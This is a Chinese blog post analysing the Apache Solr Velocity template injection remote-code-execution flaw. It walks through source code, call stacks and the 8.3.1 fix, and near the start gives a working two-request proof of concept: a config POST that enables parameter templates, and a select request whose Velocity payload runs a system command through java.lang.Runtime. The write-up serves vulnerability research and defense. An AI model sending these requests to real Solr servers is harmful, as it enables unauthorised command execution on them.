0%

Solr Velocity模板注入漏洞分析

环境搭建

下载受影响版本的solr,这里依然选择v8.1.0,这里注意除了添加solr的jar还需要添加velocity的(源码的化可以让IDEA从maven上下源码):

image-20191124205421987

同样的方法启动项目

1
2
3
4
[email protected]:/mnt/d/Store/document/all_my_work/solr/solr-8.1.0
$ cd server/ #一定要在server下运行
[email protected]:/mnt/d/Store/document/all_my_work/solr/solr-8.1.0/server
$ java "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=9000" -Dsolr.solr.home="../example/example-DIH/solr/" -jar start.jar --module=http

复现

0x00 检查core是否允许velocity

检查{core}/conf/solrconfig.xml中是否允许solr.VelocityResponseWriter,具体来说,检查是否有如下配置:

1
2
3
4
5
6
7
8
9
<config>
<!-- 一定要加依赖,否则会报错400,找不到velocity类 -->
<lib dir="${solr.install.dir:../../../..}/contrib/velocity/lib" regex=".*\.jar" />
<lib dir="${solr.install.dir:../../../..}/dist/" regex="solr-velocity-\d.*\.jar" />
<!-- 开启velocityResponse -->
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter" startup="lazy">
<str name="template.base.dir">${velocity.template.base.dir:}</str>
</queryResponseWriter>
</config>

如果没有需要加上,并且重启solr

0x01 设置params.resource.loader.enabled=true

设置VelocityResponseWriter插件的params.resource.loader.enabled选项设置为true,即允许在Solr请求参数中允许模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /solr/tika/config HTTP/1.1
Host: localhost:8983
Content-Type: application/json
Content-Length: 259

{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}

服务返回200并且观察到${solr_home}/example/example-DIH/solr/tika/conf下出现configoverlay.json表示设置成功。

0x02 通过Velocity模板注入进行RCE

1
2
3
GET /solr/tika/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: localhost.com:8983
Connection: close

返回包中看到命令执行结果:

image-20191124164155298

Velocity RCE方法

urldecode一下,可以看到velocity进行RCE的payload,留着以后可能有用:

1
2
3
4
5
6
7
#set($x='') 
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('id'))+$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

影响范围

Solr<=8.2.0 且core允许velocity模板。

漏洞分析

/solr/{core}/config

还是跟上次一样,断点下在org.apache.solr.servlet.HttpSolrCall#call:519这里,调试第一个请求,还是通过如下调用栈,交给handler处理请求:

1
2
3
4
5
org.apache.solr.servlet.HttpSolrCall#call:542
org.apache.solr.servlet.HttpSolrCall#execute():756
org.apache.solr.core.SolrCore#execute:2566
org.apache.solr.request.SolrRequestHandler#handleRequest:199
org.apache.solr.handler.SolrConfigHandler#handleRequestBody

可以看到,这此处理的handler是SolrConfigHandler,其将接受的post参数创建为command对象(129行),然后调用它的handlePOST()方法:

image-20191124175443383

handlePOST()方法如下,其获取command的操作,以及需要覆盖的原配置,调Command#handleCommands:

image-20191124175720679

Command#handleCommands(ops, overlay),其是一个switch-case结构,这里走的是默认分支,然后调用Command#updateNamedPlugin更新之前的配置(overlay变量),再将配置保存到zk或者本地:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
  private void handleCommands(List<CommandOperation> ops, ConfigOverlay overlay) throws IOException {
for (CommandOperation op : ops) {
switch (op.name) {
/*...*/
default: {
List<String> pcs = StrUtils.splitSmart(op.name.toLowerCase(Locale.ROOT), '-');
if (pcs.size() != 2) {/*...*/} else {
String prefix = pcs.get(0);
String name = pcs.get(1);
if (cmdPrefixes.contains(prefix) && namedPlugins.containsKey(name)) {
SolrConfig.SolrPluginInfo info = namedPlugins.get(name);
if ("delete".equals(prefix)) {
overlay = deleteNamedComponent(op, overlay, info.getCleanTag());
} else {
overlay = updateNamedPlugin(info, op, overlay, prefix.equals("create") || prefix.equals("add")); //这里更新配置(overlay变量)
}
} else {
op.unknownOperation();
}
}
}
}
}
List errs = CommandOperation.captureErrors(ops);
if (!errs.isEmpty()) {/*...*/}
SolrResourceLoader loader = req.getCore().getResourceLoader();
if (loader instanceof ZkSolrResourceLoader) {/*...*/} else {
SolrResourceLoader.persistConfLocally(loader, ConfigOverlay.RESOURCE_NAME, overlay.toByteArray()); // 将配置保存到本地
req.getCore().getCoreContainer().reload(req.getCore().getName()); // 更新配置
}
}

28行(实际代码504行)会将配置保存到本地,也就是{core}/conf/configoverlay.json文件了。

那么总结一下调用栈就是:

image-20191124181632402

/solr/{core}/select

这个API原先应该是数据库查询用的,但现在由于允许了执行参数中指定的velocity,造成了SSTI,我们重新看一下org.apache.solr.servlet.HttpSolrCall#call方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public Action call() throws IOException {
/*...*/

if (cores == null) {/*...*/}
if (solrDispatchFilter.abortErrorMessage != null){/*...*/}

try {
init();
/*...*/
HttpServletResponse resp = response;
switch (action) {
case ADMIN:
handleAdminRequest();
return RETURN;
case REMOTEQUERY:
SolrRequestInfo.setRequestInfo(new SolrRequestInfo(req, new SolrQueryResponse()));
remoteQuery(coreUrl + path, resp);
return RETURN;
case PROCESS:
final Method reqMethod = Method.getMethod(req.getMethod());
HttpCacheHeaderUtil.setCacheControlHeader(config, resp, reqMethod);
// unless we have been explicitly told not to, do cache validation
// if we fail cache validation, execute the query
if (config.getHttpCachingConfig().isNever304() ||
!HttpCacheHeaderUtil.doCacheHeaderValidation(solrReq, req, reqMethod, resp)) {
SolrQueryResponse solrRsp = new SolrQueryResponse();//VelocityResopnseWriter
SolrRequestInfo.setRequestInfo(new SolrRequestInfo(solrReq, solrRsp));
execute(solrRsp);
/*...*/
writeResponse(solrRsp, responseWriter, reqMethod); //SSTI
}
return RETURN;
default: return action;
}
} catch (Throwable ex) /*...*/
}

引发SSTI的关键在于第26行(源程序第556行),其调用了HttpSolrCall#getResponseWriter,获取到VelocityResponseWriter,和30行(源程序558行),其会通过HttpSolrCall#writeResponse将Request中参数渲染到页面。

先看HttpSolrCall#getResponseWriter:

image-20191124184425485

逻辑很简单,就是从参数wt中获取模板,然后返回对应模板——注意到PoC中的wt=velocity

再看HttpSolrCall#writeResponse:

image-20191124184911792

其调用了QueryResponseWriterUtil#writeQueryResponse(),将solrReq,solrRsp写成HTTP Response,ct是content-type。

HttpSolrCall#writeResponse()调用QueryResponseWriterUtil#writeQueryResponse(),先生产一个OutputStreamWriter,然后用responseWriter写入内容:

image-20191124185248960

再跟进去就到了VelocityResponseWriter#write:

image-20191124190358485

VelocityResponseWriter#createEngine

在VelocityResponseWriter#createEngine中,如果paramsResourceLoaderEnabled,那么params.resource.loader.instance=new SolrParamResourceLoader(request),如果solrResourceLoaderEnabled,那么solr.resource.loader.instance=solrResourceLader

image-20191124210507568

先看第一个if——SolrParamResourceLoader(request)这个构造函数,其会将请求中的v.template开头的参数名截取剩下的部分+“.vm”作为key——注意到PoC中的v.template.custom=%23set($x=%27%27)...,截取后得到custom+.vm=custom.vm,而请求中参数内容作为template,因此由于这个而参数时攻击者可以控制的——例如在PoC中,将内容设置为了%23set($x=%27%27)...,因此造成SSTI:

image-20191124211628918

再看第二个if——SolrVelocityResourceLoader()其任务是加载一个有velocity classpath的ResourceLoader:

image-20191124212157913

VelocityResponseWriter#getTemplate

回到VelocityResponseWriter#write,在VelocityResponseWriter#getTemplate时,会从请求v.template参数中获取模板的名称,即PoC中的v.template=custom,再走到engine.getTemplate(templateName + TEMPLATE_EXTENSION)获取template,即前面设置的custom.vm

image-20191124205548129

模板解释发生在org.apache.velocity.Template#merge(Context, Writer),后面就是Velocity模板解释逻辑了,不再跟。

总结一下调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
doFilter:343, SolrDispatchFilter (org.apache.solr.servlet)
doFilter:397, SolrDispatchFilter (org.apache.solr.servlet)
call:558, HttpSolrCall (org.apache.solr.servlet)
writeResponse:849, HttpSolrCall (org.apache.solr.servlet)
writeQueryResponse:65, QueryResponseWriterUtil (org.apache.solr.response)
write:150, VelocityResponseWriter (org.apache.solr.response)
createEngine:313, VelocityResponseWriter (org.apache.solr.response)
SolrParamResourceLoader()//设置params.resource.loader——custom.vm模板
createEngine:324, VelocityResponseWriter (org.apache.solr.response) //设置solr.resource.loader——加载velocity lib
write:152, VelocityResponseWriter (org.apache.solr.response)
getTemplate:372, VelocityResponseWriter (org.apache.solr.response) // 获取模板
write:166, VelocityResponseWriter (org.apache.solr.response)
merge:264, Template (org.apache.velocity) // 模板渲染,RCE
merge:359, Template (org.apache.velocity)
render:376, SimpleNode (org.apache.velocity.runtime.parser.node)

修复方式

下载v8.3.1的solr,发送PoC后可以看到报错了:

image-20191208165035876

从报错内容上看,solr没获取到custom.vm模板,那再参考之前分析,应该是VelocityResponseWriter#createEngine做了修改,但是调试后发现这里并没修改,只是两个if判断都为false了,paramsResourceLoaderEnabled和solrResourceLoaderEnabled都是false:

image-20191208172313550

经过调试,可以找到VelocityResponseWriter的构造调用栈:

1
2
3
4
5
6
7
8
9
10
11
init:110, VelocityResponseWriter (org.apache.solr.response)
initInstance:104, PluginBag (org.apache.solr.core)
createInst:443, PluginBag$LazyPluginHolder (org.apache.solr.core)
get:415, PluginBag$LazyPluginHolder (org.apache.solr.core)
get:168, PluginBag (org.apache.solr.core)
get:178, PluginBag (org.apache.solr.core)
getQueryResponseWriter:2753, SolrCore (org.apache.solr.core)
getResponseWriter:788, HttpSolrCall (org.apache.solr.servlet)
call:556, HttpSolrCall (org.apache.solr.servlet)
doFilter:397, SolrDispatchFilter (org.apache.solr.servlet)
doFilter:343, SolrDispatchFilter (org.apache.solr.servlet)

在init()中可以看到enabled的值取决于PARAMS_RESOURCE_LOADER_ENABLEDSOLR_RESOURCE_LOADER_ENABLED,注意这里的获取方式:

image-20191208200421304

对比下面的v8.3.1版本:

image-20191208194710665

Boolean.getBoolean()是从系统变量里面拿参数,所以PoC的第一个包(0x01步)的设置没有用。即官方修复方案选择在PoC的第一步修复,即加载配置不从solr中加载而是从系统配置中加载,以此导致第二步中的模板不可控,PoC失效。

检测方式

因为涉及的变量和条件太多了,感觉白盒即使用污点传播也很难发现bug,另外,如果要用污点传播,最好能加上反向传播,这样才能识别官方的修复方案。

黑盒检测的话就看包发的那几个变量就可以了。

总结

又补上了一个史前的坑,这次solr的漏洞出发过程比较复杂,导致白盒很难检测,日后可以思考如何解决这一类漏洞。

相关链接